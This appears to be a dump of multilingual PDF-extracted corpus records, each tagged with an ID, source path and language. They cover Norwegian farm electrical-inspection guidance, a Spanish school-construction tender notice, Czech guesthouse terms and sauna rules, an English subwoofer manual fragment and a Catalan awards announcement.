aktsomhet slik at vedkommende ikke bidrar 596 til spredning av smitte mellom ulike besetninger. Ulike husdyrproduksjoner har ulike miljø, krav 597 til dyrevelferd og utfordringer i forhold til personsikkerhet. 598 A.3 Eiers og brukers rolle 599 Det er eier eller bruker av det elektriske anlegget som er pliktig til å få gjennomført elkontroll i 600 samsvar med myndighetskravene. 601 VEILEDNING – Forsikringsbransjen kan stille egne krav til hyppighet og innhold for elkontroll. 602 A.4 Krav til dokumentert tilleggskompetanse 603 604 Gjennomføring av elkontroll i landbruket etter NEK 405-3 forutsetter tilleggskompetanse. Slik kompetanse skal dokumenteres ved at elkontrolløren består en særskilt eksamen. 605 606 Elkontrolløren skal uoppfordret vise at kravet til tilleggskompetanse er oppfylt ved fremvisning av eksamens- eller sertifiseringsbevis til oppdragsgiver. 607 A.5 Dokumentets oppbygning og bruk 608 Dette tillegget er delt inn i to deler: Obligatoriske punkter for dialog og obligatoriske 609 kontrollpunkter. 610 Formålet med dialogen er å skape økt bevissthet hos eier om elsikkerhet, kunne gi passede 611 anbefalinger og tjene som supplerende underlag for elkontrolløren. 612 Alle kontrollpunkter skal gjennomføres iht. beskrivelse, med mindre byggets utforming, en 613 brannteknisk vurdering eller den praktiske utforming av de tekniske anlegg tilsier noe annet. 614 Eventuelle avvik skal begrunnes i rapport. 615 A.5.1 Dialog med eier/bruker 616 Eier/bruker av driftsbygning eller veksthuset er en viktig ressurs for elkontrolløren. Gjennom 617 daglig bruk kan disse ha informasjon/observasjoner som kan supplere elkontrollørens egne 618 funn. Eier/bruker er videre beslutningstaker for gjennomføring av tiltak. En aktiv dialog bidrar 619 til økt bevissthet om farene ved elektrisitet. 620 Det anbefales følgende disponering av dialog og kontroll: 621 – Dialog som angitt i tabell A.1 under elkontroll, med fokus på å hente inn informasjon om 622 anlegget og gi generelle råd basert på dette. 623 624 – Gjennomføring av kontrollpunktene som angitt i tabell A.2. 625 – Oppsummerende samtale, hvor hovedfunnene trekkes frem og begrunnes. Det kan være nyttig å opplyse om at elkontrollen i stor grad innebærer kontroll av at 626 myndighetskrav er oppfylt. Elkontrolløren vurderer selv på hvilket tidspunkt under elkontrollen 627 de aktuelle dialogpunktene skal tas opp. 628 Tabellen under oppstiller krav til tema som elkontrolløren skal ta opp med eier/bruker. 629 630 Tabell A.1 – Dialog med eier/bruker bør det foreligge en beredskapsplan. A.5.2 Kontrollpunkt i driftsbygninger og veksthus Kontrollpunktene i tabell A.2 er obligatoriske, med mindre anleggsdelen ikke finnes i den aktuelle driftsbygningen. Det henvises til veileder for uttømmende instruksjon. Det kreves at elkontrolløren har satt seg tilstrekkelig inn i dokumentasjonen ved det aktuelle elektriske anlegget før elkontrollen starter. Tabell A.2 – Obligatoriske kontrollpunkter ————————— Punkt Anleggsdel Kontrollpunkt Beskrivelse av kontrollpunkt og kriterier 2 for avvik TG Punkt Anleggsdel Kontrollpunkt Beskrivelse av kontrollpunkt og kriterier 2 for avvik TG ————————— 3 Slikt varsel kan gå til eier/brukers mobiltelefon, eller på annen måte som sikrer rask reaksjon. 4 Normalt stilles det krav om slik kontroll/ettersyn hver 12 måned. Dersom kontrolløren avdekker andre forhold som har vesentlig betydning for elsikkerheten, skal 639 også disse tas med i rapporten. 640 ————————— 5 Dette kan skje som følge av lavt og ujevnt turtall (kan gi lite kjøling). Litteratur (informativt)
<urn:uuid:fba4b460-ec3e-4860-922f-571a46338bdd>
HuggingFaceFW/finepdfs/tree/main/data/nob_Latn/train
finepdfs
nob_Latn
32,115
OM LLAMADO PÚBLICO A OFERTAS N.º 15/2024 Fideicomiso de Infraestructura Educativa Pública Administración Nacional de Educación Pública COMUNICADO N.º 01 07/10/2024 1. Aclaración sobre permisos, tramitación y planos: El Contratista se encargará de realizar todas las gestiones ante las autoridades y organismos nacionales y municipales a los efectos de obtener todos los permisos y habilitaciones finales de la totalidad de las construcciones que se encuentren en el padrón, independientemente de que las mismas sean o no afectadas por las obras. Asimismo, el Contratista deberá verificar que el proyecto cumpla estrictamente con todas las normativas impuestas por los organismos del Estado que condicionan las obras de Arquitectura incluyendo las relativas a la Accesibilidad Universal. En los casos en que, por omisión del proyecto o actualizaciones normativas posteriores a su realización, se constatara un incumplimiento de éstas, se deberá realizar las modificaciones pertinentes para ajustarse a la normativa vigente, realizando además todos los planos, planillas, formularios y cualquier otro tipo de recaudo que se requiera. El Contratista deberá solicitar y obtener la habilitación de las construcciones ante la Dirección Nacional de Bomberos.
<urn:uuid:15f5eb35-622b-4a82-9a4a-56f61973b693>
HuggingFaceFW/finepdfs/tree/main/data/spa_Latn/train
finepdfs
spa_Latn
1,262
VŠEOBECNÉ OBCHODNÍ PODMÍNKY PRO OBJEDNATELE UBYTOVÁNÍ A SLUŽEB ANDĚLSKÝ DVŮR Poskytovatel služeb a ubytování: PENA s. r. o. Nádražní 303, 379 01 Třeboň ICO/DIC: 28145682 1. Obecná ustanovení Společnost PENA s. r. o., IČ: 28145682 (dále jen „Ubytovatel“), tímto vydává ve smyslu ust. § 1751 zákona č. 89/2012 Sb., občanského zákoníku, v platném znění (dále jen „Občanský zákoník“), tyto VŠEOBECNÉ OBCHODNÍ PODMÍNKY (dále jen „VOP“): Předmětem těchto VOP Ubytovatele je úprava podmínek realizace ubytovacích a souvisejících služeb objednateli (dále jen „Klient“). VOP jsou nedílnou součástí všech ujednání mezi Ubytovatelem a Klientem. Potvrzením objednávky Klienta (dále jen „Objednávka“), uznává Klient následující VOP za závazné pro všechna plnění související s předmětem VOP a v plném rozsahu je akceptuje. 2. Objednávka pobytu a služeb Objednat pobyt a služby v Andělském Dvoře lze písemnou formou (e-mailem, nebo vyplněním a odesláním webového formuláře Ubytovateli) nebo telefonicky. Objednávku může provést Klient pro sebe nebo ve prospěch třetí osoby. Objednávku potvrdí Ubytovatel Klientovi stejnou formou, kterou byla provedena. Objednávka musí obsahovat: • jméno a příjmení Klienta • termín pobytu • kontaktní údaje Klienta: telefonní číslo, adresu trvalého bydliště, e-mail • způsob úhrady služeb • počet objednaných osob ve struktuře dospělé osoby x děti (u dětí věk) • druh a počet objednaných doplňkových služeb (např. sauna, polopenze, ubytování zvířete, atp.) Ubytovatel objednávku obvykle zpracovává do 24 hodin. Potvrzuje objednávku, odmítá objednávku, nebo navrhuje Klientovi jiný termín. Objednávka pobytu je přijata písemným potvrzením od Ubytovatele. Klient je povinen se s potvrzením objednávky seznámit a nejpozději do 24 hodin nahlásit případné změny původní objednávky. Objednávka je závazná. Pro rozsah smluvně sjednaných služeb a cen je závazný jejich rozpis v potvrzení objednávky. 3. Platební podmínky Při objednávce provedené více než 30 dnů před příjezdem se platí záloha ve výši 30 % z ceny za ubytování, která je splatná do 3 dnů od potvrzení objednávky, ledraže se smluvní strany písemně dohodly jinak. Úhradou zálohy se rozumí připsání příslušné částky na bankovní účet Ubytovateli, není-li dohodnuto jinak. Nebude-li záloha Klientem řádně uhrazena, vyhrazuje si Ubytovatel právo zrušit sjednanou objednávku a požadovat po Klientovi odpovídající storno poplatky dle bodu 6. téchto VOP. Při objednávce provedené 15 dní a méně před příjezdem Klient hradí 100 % z ceny za ubytování včetně služeb. Cenu za ubytování a služby, jakož i zálohu, je Klient povinen uhradit: 1. buď převodem na bankovní účet Ubytovatele (v takovém případě je nezbytné předložit při příjezdu Ubytovateli potvrzení o úhradě) nebo 2. poštovní poukázkou (v takovém případě je rovněž nezbytné předložit při příjezdu Ubytovateli potvrzení o úhradě) nebo po předchozí domluvě v hotovosti. Ceny jsou uvedeny v rezervačním formuláři na stránkách penzionu a je v nich zahrnut ubytovací a lázeňský poplatek. Platba ceny za ubytování a služby musí být uhrazena nejpozději 15. den před začátkem pobytu, ledraže se smluvní strany písemně dohodly jinak. V případě prodloužení Klienta s úhradou zálohy za ubytování a služby má Ubytovatel právo zrušit již potvrzenou objednávku bez nároku na vrácení již zaplacené zálohy Klienta a požadovat po Klientovi zaplacení ceny objednaného pobytu a služeb a to včetně úroku z prodlení ve výši 0,5 % denně z dlužné částky z celkové ceny pobytu a služeb za každý započatý den prodlení. Ubytovatel si vyhradzuje právo použít kteroukoliv platbu Klienta k uhranění jeho nejstarší pohledávky/nejstarších pohledávek, kterou/ktéře má vůči Klientovi po lhůtě splatnosti. 4. Práva a povinnosti Klienta K čerpání zaplacených služeb opravňuje klienta potvrzená rezervace. Klient je povinen na této rezervaci překontrolovat správnost údajů. Při zjištění jakékoliv nesrovnalosti kontaktuje klient neprodleně penzion e-mailem nebo telefonicky. Při nástupu se klient prokáže občanským průkazem, pasem nebo jiným průkazem totožnosti. Po splnění uvedených formalit je klient ubytován a jsou mu poskytnuty další informace k pobytu či k dalším objednaným službám. Klient má právo užívat po dohodnutou dobu přidělený pokoj/apartmán. Pokoj/apartmán se předává Klientovi vždy od 15:00 do 17:00 hod., ledaže se Ubytovatel s Klientem dohodnou písemně či telefonicky jinak. Klient je povinen zacházet s majetkem Ubytovatele šetrně. Každou zjištěnou závadu nebo škodu na zařízení je Klient povinen neprodleně hlásit Ubytovateli, nesplnil-li klient tuto povinnost, může být Klientovi Ubytovatelem naucítočná smluvní pokuta až 5.000,- Kč + náklady na opravu. Klient je povinen nahlásit předem Ubytovateli ubytování s domácím zvířetem. Domácí zvíře nesmí nechat Klient bez dozoru volně na pokoji. K dispozici má Ubytovatel zvířecí klece k pronájmu (zde je však omezený počet proto doporučujeme rezervaci předem). Klient je povinen udržovat pořádek a čistotu v apartmánu, v kolárně, sauně a všech dalších společných prostorách ubytovacího zařízení. Klient je povinen dodržovat noční klid v době od 22:00 do 6:00 hod. Klient je povinen zabezpečit soukromé (vnesené) věci tak, aby nemohlo dojít k jejich zčištění. Ubytovatel tyto věci nepojišťuje a vzhledem k charakteru ubytovacího zařízení a provozním podmínkám za tyto věci neručí. Klient má právo reklamovat případné nedostatky poskytovaných služeb. Reklamací je povinen uplatnit včas, bez zbytečného odkladu tak, aby mohla být sjednána náprava, pokud možno na místě samém. Klient je povinen při nástupu do ubytovacího zařízení převzít svazek klíčů. Ztrátu svazku klíčů, nebo jeho části, je Klient povinen neprodleně bez zbytečného odkladu oznámit Ubytovateli. Svazek klíčů je majetkem ubytovatele, při ztrátě je Klient povinen uhradit výdaje spojené s výměnou vložky, klíčů apod., resp. další náklady, které bude Ubytovatel nucen vynaložit na odstranění touto ztrátou vyvolaných následků. Klient je povinen nejpozději v okamžiku odjezdu zaplatit dohodnutou cenu ubytování a služeb včetně případných dalších nákladů, které vznikly z důvodu zvláštních služeb, které požadoval on sám anebo hosté, kteří ho doprovázejí, včetně zákonné daně z přidané hodnoty. Klient odpovídá za osoby, které za ním přišly na návštěvu po celou dobu jejich pobytu v objektu, a je povinen je doprovázet při jejich průchodu společnými prostorami objektu. Pro návštěvy Klienta platí stejně povinnosti jako pro Klienta. Ubytovatel má právo, podle vlastního uvážení, neumožnit vstup jiné osobě do objektu anebo takovou osobu následně z objektu vykázat. Klient ručí a odpovídá Ubytovateli za jakoukoliv škodu, kterou způsobí on nebo jeho host nebo jiné osoby, které s vědomím nebo podle vůle Klienta využívají služeb Ubytovatele. Klient je povinen předat pokoj/apartmán či společný prostor Ubytovateli ve stavu v jakém jej převzal. V případě, že Klient nepředá Ubytovateli pokoj/apartmán či společný prostor ve stavu v jakém jej převzal, je Ubytovatel oprávněn požadovat po Klientovi zaplacení nákladů do výše nákladů spojených s uvedením pokoje/apartmánu do původního stavu. Klient je povinen uvolnit pokoj/apartmán v den odjezdu do 10:00 hod., pokud se s Ubytovatelem nedohodí jinak. V případě, že Klient neuvolní pokoj/apartmán ve stanoveném čase, je Ubytovatel oprávněn Klientovi účtovat další pobytový den a osobní zavazadla Klienta vystěhovat a zajistit, aby nedošlo k omezení práv dalších Klientů a požadovat 1.000,- Kč jako úhradu nákladů za vystěhování zavazadel. Klientovi je zakázáno: - umožnit vstup, pobyt a přespání v ubytovacím zařízení třetím osobám, půjčovat klíče od ubytovacího zařízení třetím osobám, - přemisťovat nábytek do jiných pokojů nebo prostor bez souhlasu ubytovatele, - kouřit v prostorách penzionu, - vnášet do ubytovacího zařízení a mít v užívaném prostoru resp. pokoji: hořlavé, výbušné a zápalné látky, zbraně, drogy, neskladné předměty, plynové spotřebiče, elektrické přímotopné spotřebiče, elektrické varné plotýnky apod., - znečišťovat či jinak znehodnocovat společné prostory a okolí ubytovacího zařízení. Podmínkou pro pobyt v ubytovacím zařízení Ubytovatele je zejména dodržování základních pravidel společenského soužití, tolerance a vzájemného respektu ve smyslu občanského zákonníku, dodržování nočního klidu, dodržování pořádku a čistoty ve všech prostorech uvnitř objektu a v jeho bezprostředním okolí. Za porušení povinností uvedených v těchto VOP je Ubytovatel oprávněn požadovat po Klientovi zaplacení částky do výše 10.000,- Kč. Právo na ubytování v ubytovacím zařízení zaniká k poslednímu dni ubytování uvedenému v potvrzení objednávky ubytování Ubytovatelem. Právo na ubytování zaniká okamžitě, jestliže Klient poruší tyto VOP nebo hrubým způsobem poruší pravidla společenského soužití anebo v případě, jestliže Ubytovateli neuhradí pobyt a služby dle dohody. V takovém případě může Ubytovatel ukončit ubytovací služby i bez nároků na vrácení zbývající částky za ubytování. Právo na ubytování v ubytovacím zařízení zaniká posledním dnem do doby, na kterou jsou ubytovací služby uhraněny. Klient je povinen opustit pokoj/apartmán a předat Ubytovateli jej včetně všech náležitostí do 10:00 hod. V případě skončení ubytování nemá Klient nárok na přidělení náhradního ubytování. V případě, že Klient nevyklidí ubytovací prostor ve smyslu předchozího odstavce, je Ubytovatel oprávněn majetek Klienta na náklady Klienta vystěhovat. Ubytovatel v těchto případech schraňuje majetek Klienta po dobu 2 týdnů ve svých prostorech a po této době jej může zlikvidovat, anebo pro odvoz a schraňování věcí Klienta najmě firmy. Klient pro takový případ zmocňuje Ubytovatele, aby jeho jménem, jako složitel, na toto uzavřel smlouvu s vybraným schovatelem, a to za běžných obchodních podmínek. 5. Práva a povinnosti Ubytovatele Ubytovatel si vyhrazuje právo ve výjimečných případech poskytnout Klientovi jiné ubytování, než bylo původně dohodnuto, pokud se nijak podstatně nelší od potvrzené objednávky. Ubytovatel přísluší právo na umístění kamer ve vnějších prostorách areálu z důvodu ochrany klientů, zvířat a majetku. Ubytovatelé přísluší právo své služby kdykoliv vyúčtovat, resp. je vyúčtovávat průběžně. Ubytovatel může prodloužit pobyt Klientovi jen v případě, že má Ubytovatel k dispozici volnou kapacitu. V případě, že Klient ukončí svůj pobyt dříve, než bylo sjednáno v potvrzení rezervace, Ubytovatel má právo účtovat Klientovi částku za celý pobyt včetně služeb. Ubytovatel je oprávněn ukončit poskytování služeb Klientovi a odstoupit od smlouvy s okamžitou platností a bez nároku Klienta na vrácení peněz, když: • klient úmyslně nebo z nedbalosti poškozuje majetek Ubytovatele, či jeho chování je v rozporu se zásadami slušného společenského chování, morálkou nebo obtěžuje svým chováním třetí osoby, • zdravotní stav Klienta ohrožuje zdraví třetích osob a personálu, • z důvodu zásahu vyšší moci. Předané osobní údaje Klienta uvedené v objednávce pobytu je Ubytovatel oprávněn použít pouze pro uzavíraný smluvní vztah mezi Ubytovatelem a Klientem. Ubytovatel nabízí ubytování Klientovi s domácím zvířetem (pes, kočka, kůň). Poplatky za ubytování zvířete jsou uvedeny v ceníku nebo na vyžádání. Klient je v tomto případě povinen dodržovat provozní řád penzionu a svá zvířata si zabezpečit tak, aby nedošlo k újmě na zdraví dalších osob či škodám na majetku. 6. Storno podmínky a nedojezd Pokud Klient zruší objednávku, je povinen hradit provozovateli níže uvedené storno poplatky z celkové ceny pobytu. Storno poplatky činí: • 0 % z ceny pobytu, dojde-li ke zrušení smlouvy do 35 dní před smluvným datem zahájení pobytu, • 30 % z ceny pobytu, dojde-li ke zrušení smlouvy od 35. dne do 15. dne před smluveným datem zahájení pobytu, • 100 % z ceny pobytu, dojde-li ke zrušení smlouvy méně jak 15 dní před smluveným datem zahájení pobytu. Ubytovatel si vyhrazuje právo na poplatek za přesunutí termínu pobytu Klienta, a to takto: - Při přesunutí termínu pobytu do 15 dnů od zahájení pobytu je poplatek 20 % z celkové ceny ubytování včetně objednaných služeb. - Při přesunutí termínu pobytu od 14 dnů a méně od zahájení pobytu je poplatek ve výši 40 % z celkové ceny ubytování včetně objednaných služeb. Pokud klient nezahájí pobyt v objednaném termínu ubytování a ani svou objednávku písemně nezruší, je objednávka stornována a klientovi je účtováno 100 % z ceny pobytu. Tyto storno podmínky se nevztahují na domluvené a objednané objednávky za účelem realizace svateb a velkých společenských akcí. V těchto případech se uhraněné zálohy nevrací. 7. Závěrečná ustanovení Tyto VOP jsou nedílnou součástí objednávky ubytování. Pro skupinové pobyty mohou být sjednány jiné podmínky. Všeobecné obchodní podmínky vstupují v platnost dne 1.6. 2018. Změny a doplňky těchto podmínek mohou být individuálně upraveny mezi Ubytovatelem a Klientem výlučně písemnou formou. Součástí VOP je i provozní řád penzionu Andělský Dvůr. V Třeboni dne 1.6. 2018 Petr Najdr jednatel PENA s. r. o. Provozní řád pro ubytovací služby (§ 21a zákona č. 258/2000 Sb. o ochraně veřejného zdraví) PENZION ANDĚLSKÝ DVŮR - Název firmy: PENA s.r.o. - Sídlo: Nádražní 303, 379 01 Třeboň - Adresa provozovny: Světce 21, 378 21, Světce - Provozovatel: Petr Najdr - Email: email@example.com - Odpovědný vedoucí: Pena s. r. o. - Telefon: +420 777 455 627 - Kategorie a třída ubytovacího zařízení: penzion Andělský Dvůr - Poskytované služby: ubytovací služby, catering, wellness - Druh provozu: trvalý - Počet ubytovacích jednotek: 11 - Po příchodu do penzionu se host prokáže platným dokladem totožnosti (občanským průkazem nebo cestovním pasem), bez předložení dokladu totožnosti nemůže být host ubytován. - Ubytování probíhá od 15:00 do 17:00 hod. V jinou dobu mohou být hosté ubytování pouze po domluvě předem. - Osoba zodpovědná za ubytovanou skupinu se zavazuje, že s řádem seznámila všechny členy skupiny a dále také je obeznámena, že ve vnějších prostorách penzionu se nachází bezpečnostní kamery sloužící k ochraně klientů, zvířat a majetku. Tímto podpisem uděluje (osoba zodpovědná) penzionu Andělský Dvůr souhlas se zpracováním osobních údajů za sebe a celou ubytovanou skupinu. - Je přísný zákaz krmení zvířat z důvodu výchovy a zdraví zvířat, zejména koně. V případě neuposlechnutí zákazu krmení je ubytovatel oprávněn požadovat zaplacení smluvní sankce ve výši 50 000,- Kč a požadovat případnou náhradu škody spojenou s léčbou zvířete. - V penzionu nejsou gravitační odpady, ale čerpadlo, proto je přísný zákaz vhazování do toalety vlhčených ubrousů, tamponů a jiného. Dojde k ucpání tlakového čerpadla nejen u pokojů, ale také celého odpadního řádu penzionu nebo obce (celá obec je řešena tlakovými čerpadly). Oprava se pohybuje v řádech statisíců korun. Každé porušení této povinnosti je pod smluvní sankcí 30 000,- Kč + případná náhrada škody spojená s opravou. - Pobyt v sauně a cedrovém sudu, který je v areálu k dispozici, má svá pravidla, která jsou přílohou tohoto provozního řádu. - Veškerý vstup na neoznačené cesty v areálu penzionu a jeho okolí je na vlastní nebezpečí. Za děti mladší 18 let zodpovídají jejich rodiče. • Pokoje jsou vybaveny lůžkovinami, povlečením, ručníky a toaletním papírem - vše je zahrnuto v ceně za pobyt. Pokoje jsou uklizeny u týdenních a delších pobytů individuálně dle předchozí domluvy. Výměna ručníku 1x týdně nebo dle potřeby a domluvy. • Při odchodu na snídaně či večeře Vás prosíme o intenzivní vyvětrání pokojů a koupelen. • V případě, že zákazník nedoraží a neobsadí předem objednanou ubytovací kapacitu do 24 hodin od rezervovaného pobytu, účtujeme storno poplatek ve výši rovnající se 100 % ceny pobytu a pobyt se ruší bez náhrady. Toto neplatí v případě, že zákazník o pozdějším nástupu na pobyt ubytovateli s předstihem telefonicky nebo písemně vyrozumí. • Ve všech prostorách penzionu platí přísnný zákaz kouření, pod smluvní sankcí 10.000,- Kč + náklady na úklid a malbu, při jeho porušení spustí požární hlásič sirénu s následným bezdůvodným příjezdem hasičů. Dále není dovoleno přemisťování zařízení bez souhlasu vedení penzionu a jakékoliv zásahy do elektrické sítě. • Z bezpečnostních důvodů může host používat v pokoji pouze ty vlastní elektrické spotřebiče, které slouží k jeho osobní hygieně (holící a masážní strojky, vysoušeče vlasů apod.), dále osobní počítače a nabíječky kamer a mobilních telefonů. • Děti není z bezpečnostních důvodů vhodné ponechávat bez dozoru dospělé osoby v pokoji a ostatních prostorách penzionu, rodiče nebo dohlížející osoba nese odpovědnost za případnou škodu způsobenou dítětem. Hosté odpovídají za vlastní bezpečnost. Rodiče si odpovídají v době pobytu za své děti sami. • Penzion neručí za věci vnesené hostem do penzionu a za škodu na odložených věcech (klenoty, peníze a jiné cennosti). • Psi a jiná drobná zvířata mohou být ubytováni po předchozí dohodě pouze za předpokladu, že během pobytu neobtěžují ostatní ubytované hosty, neníčí a neznečišťují zařízení penzionu. Žádné domácí zvíře nesmí být ponecháno na pokoji samotně volně bez dozoru. K dispozici máme klec na psa, kterou Vám můžeme půjčit po domluvě předem. Pokud domácí zvíře způsobí na pokoji škodu, je povinností majitele zvířete, škodu nahlásit a uhradit náklady na opravu. Při nedodržení Vám bude naúčtována sankce 5.000,- Kč + náhrada za opravu poškozeného majetku. • Při ukončení pobytu se pokoj předá pověřené osobě do 10:00 hod., není-li předem domluveno jinak. V případě, že host ve stanovenou dobu pokoj nepředá, vyhrazuje si penzion právo věci hosta vyklidit za přítomnosti pověřené osoby penzionu a uschovat, aby mohl být pokoj k dispozici pro další rezervaci. V takovém případě bude hostovy zaúčtován další den pobytu. • Host je povinen dodržovat ustanovení tohoto ubytovacího řádu. V případě, že je poruší, má vedení penzionu právo od dohody o poskytnutí ubytovací služby odstoupit před uplynutím dohodnuté doby bez náhrady ubytovanému. • Od našich hostů očekáváme, že budou udržovat čistotu v penzionu i jeho okolí a chovat se šetrně k jeho zařízení. • Doporučujeme hostům neparkovat pod stromy. Hrozí znečištění či poškození vozidel nebo osob. Provozovatel nenesou odpovědnost za případné škody na majetku či zdraví osob. • Stížnosti hostů na kvalitu poskytovaných služeb přijímá vedení penzionu a uvítá všechny návrhy hostů na zlepšení provozu. Veškeré stížnosti, návrhy na zlepšení kvality služeb, poškození věcí se nahlašuje odpovědnému vedoucímu popřípadě na telefonu: +420 777 455 627, firstname.lastname@example.org • Vážíme si Vašich podnětů a budeme rádi za zpětnou vazbu. Děkujeme Vám za dodržování našeho provozního řádu (v případě hrubého porušení může být host vykázán z penzionu i celého areálu). Přejeme Vám příjemný pobyt. 1. Vyhraďte si 2-3 hodiny k následnému odpočinku. Nejlépe je zajít do sauny před večeří nebo 2-3 hodiny po ní. Nechoděte do sauny na lačno ani s plným žaludkem. Před vstupem do sauny nekuřte ani nepijte alkohol! Saunování se doporučuje dvakrát týdně. 2. Je zakázáno vstupovat do sauny s jídlem nebo nápoji. 3. Důkladně se osprchujte a hlavně osušte: budete se potit rychleji. Saunujte se bez plavek. Dodržujeme hygienu pro sebe a pro ostatní hosty. Vždy pod sebe včetně chodidel v době sauny a odpočinku dám prostěradlo či ručník !!! 4. Čas strávený v sauně je velmi individuální. Ideální doba pobytu je 10-15 minut. Pokud Vám ale začne být nepříjemně (cítíte pálení boltce uší, špičky nosu, lícních kostí, konečků prstů, špatně se vám dýchá), saunu opusťte i dříve. 5. Ideální poloha pro saunování je vleže, popřípadě vseď s nohami na stejné lavici, na které sedíme, abychom měli tělo ve stejně teplotě (jiná poloha může vést k bolestem hlavy). 6. Během saunovacího procesu provádíme masáž kartáčem nebo žínkou. 7. Dýchejte zásadně ústy (při dýchání nosem dochází k pálení sliznice). 8. K ochlazení použijte sprchu 9. Následuje relaxace na lehátku (v pozici vleže, tak abyste se cítili příjemně). Odpočívejte 15 - 20 minut. Doplňujte průběžně tekutiny. 10. Celý proces zopakujte (maximálně však třikrát). RIZIKO A ZDRAVOTNÍ OMEZENÍ SPOJENÁ SE SAUNOVÁNÍM A KOUPÁNÍM V CEDROVÉM SUDU 1. Nedoporučujeme chodit do sauny či cedrového sudu pod vlivem alkoholu či jiných omamných látek!! 2. Vstup do sauny a cedrového soudu je na vlastní nebezpečí a osoba, která do ní vstupuje, je zodpovědná za svoje chování a za stav svého zdraví. 3. V sauně se pohybujeme opatrně, neskáčeme a neděláme rychlé pohyby. 4. Do cedrového sudu neskákejte a ani se v něm nepotápějte. 5. Nerozžinejte svíčky na horním lemu sudu ani v sauně – hrozí popálení. V koupacím sudu a ani v sauně nepoužívejte skleněné nádoby, mohlo by dojít k rozbití a pořezání. KDY SE VYVAROVAT POUŽÍVÁNÍ SAUNY - **Srdeční choroby** Pro osoby trpící některými srdečními chorobami včetně hypertenze nebo hypotenze, chronického srdečního selhání nebo problémy s koronární cirkulací, může být červená terapie nevhodná. Přímým důsledkem dlouhého vystavování se vysokým teplotám je zrychlení srdeční frekvence o 10 až 30 tepů za minutu za každý stupeň zvýšené tělesné teploty. Tato kontraindikace se týká také osob užívajících léky na úpravu tlaku a osob s kardiotimulátorem – některé sauny totiž mohou obsahovat magnet, který může jeho činnost ovlivnit. - **Děti a starší lidé** U těchto dvou věkových skupin je zapotřebí konzultovat červenou terapii s lékařem. Obecně je vystavování se červenému záření zdraví prospěšné, nicméně je potřeba brát v potaz sníženou termoregulační schopnost obou skupin – u dětí se schopnost udržovat optimální tělesnou teplotu teprve vyvíjí, věkem se naopak snižuje. - **Těhotenství** Během těhotenství není používání sauny doporučováno. U těhotných žen může velmi lehce dojít k přehřátí organismu, ztrátě vědomí a v extrémních případech až k poškození plodu a vrozeným vadám. - **Problémy s klouby** Infračervené záření je doporučováno v případě mnoha zdravotních problémů vč. bolestí kloubů. POZOR! V případech chronických otoků kloubů však nemusí terapie působit příznivě. Pokud dojde k akutnímu zranění, klouby by rovněž neměly být zahřívány, a to během prvních 48 hodin od kloubního zranění anebo až do odeznění zarudnutí či otoku. • Další choroby Zvyšování vnitřní teploty vlivem infračervené terapie může být nevhodné pro jedince s roztroušenou sklerózou, systémovým lupus erythematodes, diabetickou neuropatií, Parkinsonovou chorobou, nádory centrálního nervového systému, Addisonovou chorobou nebo jinou nemocí související s adrenalinovou nedostatečností. Vyvarovat se saunování by měli také lidé trpící hemofilií nebo krvácivými stavy, neboť teplo rozšiřuje cévy. Infračervenou terapii nelze doporučit ani v případě horečky či citlivosti na světlo. Kovové šrouby, kloubní náhrady a další implantáty obvykle dlouhovlnné infračervené záření odrážejí, takže by nemělo docházet k jejich zahřívání. V případě silikonových implantátů, které infrazáření absorbuje, k zahřívání docházet může, nicméně silikon se taví až při 200°C, tudíž by na něj infračervené záření nemělo mít vliv. Mějte prosím na paměti, že používání sauny s jakýmkoli implantátem je nutné konzultovat s lékařem! Stejně jako u masáží není bezpečné používání sauny při jakémkoli infekčním onemocnění, pod vlivem drog nebo alkoholu.
73ea370c-60bf-42a4-b950-ad426ff609e8
HuggingFaceFW/finepdfs/tree/main/data/ces_Latn/train
finepdfs
ces_Latn
23,230
The connection terminal of the subwoofer allows a wide number of possible configuration options for Depending on the equipment in use, select the appropriate configuration (see the following pages) Connection: Connect the subwoofer cable to the terminal marked SUBWOOFER (or similar) on the AV receiver Connect the subwoofer cable to the terminal on the subwoofer marked LFE Please use a suitable connection cable with cinch plugs (not supplied with the PS 1 / PS 2) Connect the front, rear and center loudspeakers us- ing the loudspeaker terminals provided on your AV receiver Clean the surface of the subwoofer with a soft, Never use alcohol or other cleaning agents to clean your PIEGA subwoofer If necessary, use a damp cloth with a solution of lukewarm water and a few drops of washing up liquid
<urn:uuid:9cdc983e-527b-4bf9-a4d8-f29ca655ddd9>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
805
ANUNCIS CONSELL DE L'AUDIOVISUAL DE CATALUNYA ACORD 49/2021, de 31 de maig, del Ple del Consell de l'Audiovisual de Catalunya, pel qual es ratifica el veredicte emès el 18 de maig de 2021 pel jurat dels XVIII Premis el CAC a l'escola. I. El Ple del Consell de l'Audiovisual de Catalunya, en la sessió duta a terme el 22 de juliol de 2020, va acordar aprovar, mitjançant l'Acord 73/2020, les bases de la convocatòria dels XVIII Premis el CAC a l'escola, que es van publicar al Diari Oficial de la Generalitat de Catalunya núm. 8218, de 22 de juliol de 2020. II. La base segona de la convocatòria dels premis esmentats estableix que un jurat format per persones expertes dels àmbits de l'educació i de la comunicació elevarà al Ple del Consell un veredicte, que ha de ser ratificat pel Ple. III. El jurat dels XVIII Premis el CAC a l'escola, de conformitat amb l'Acord 23/2021, de 10 de març, del Ple del Consell de l'Audiovisual de Catalunya, està format per la presidenta, senyora Carme Figueras i Siñol, pels vocals senyora Margarida Almirall Rotés, senyora Alba Ambròs Pallarés, senyor Ramon Breu Pañella, senyora Yvonne Griley Martínez, senyora Maria-José Masanet Jordà, senyora Carme Mayugo Majó, senyor Ramon Pavia Sala i senyor Xavier Puig Garcia, i per la secretària, senyora Sylvia Montilla Castillo. Aquest jurat s'ha reunit el 18 de maig de 2021 i ha emès el seu veredicte. Per tot el que s'ha exposat, el Ple del Consell de l'Audiovisual de Catalunya adopta, per unanimitat, el següent Acord: -1 Ratificar el veredicte emès el 18 de maig de 2021 pel jurat dels XVIII Premis el CAC a l'escola, que s'incorpora com a annex i part integrant d'aquest acord. -2 Publicar aquest acord al Diari Oficial de la Generalitat de Catalunya. Barcelona, 31 de maig de 2021 Roger Loppacher i Crehuet President Daniel Sirera Bellés Conseller secretari CATEGORIA A. Centres educatius Segon cicle d'educació infantil i cicle inicial d'educació primària ISSN 1988-298X https://www.gencat.cat/dogc CVE-DOGC-A-21153122-2021 DL B 38014-2007 1r premi. Escola de Rellinars (Rellinars). Curs: Petits1 Les joguines són de nens o de nenes? 2n premi. Escola Angeleta Ferrer (Mataró). Curs: 1r A Conte audiovisual: El llop al·lèrgic als gats Cicles mitjà i superior d'educació primària 1r 